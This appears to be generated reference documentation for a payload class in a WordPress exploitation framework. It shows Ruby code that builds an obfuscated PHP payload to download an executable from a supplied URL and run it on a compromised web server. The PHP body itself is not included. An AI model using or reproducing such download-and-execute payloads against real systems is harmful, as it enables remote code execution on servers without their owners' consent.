class Wpxf::Payloads::DownloadExec
Downloads an executable and runs it in the context of the web server.
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::Payload::new
# File lib/wpxf/payloads/download_exec.rb, line 8 def initialize super register_options([ StringOption.new( name: 'executable_url', required: true, desc: 'The URL to download the executable file from' ) ]) end
Public Instance Methods
constants()
click to toggle source
# File lib/wpxf/payloads/download_exec.rb, line 31 def constants { 'executable_url' => datastore['executable_url'], 'exename' => "#{Utility::Text.rand_alpha(rand(5..10))}.exe" } end
generate_php_vars()
click to toggle source
# File lib/wpxf/payloads/download_exec.rb, line 20 def generate_php_vars generate_vars([ :cmd, :disabled, :handle, :output, :pipes, :fp, :tempfile, :fname, :fd_in, :fd_out ]) end
obfuscated_variables()
click to toggle source
Calls superclass method
Wpxf::Payload#obfuscated_variables
# File lib/wpxf/payloads/download_exec.rb, line 27 def obfuscated_variables super + ['cmd', 'tempfile', 'fname', 'fd_in', 'fd_out', 'output', 'executable_url', 'exename'] end
raw()
click to toggle source
# File lib/wpxf/payloads/download_exec.rb, line 38 def raw "#{DataFile.new('php', 'exec_methods.php').php_content}"\ "#{DataFile.new('php', 'download_exec.php').php_content}" end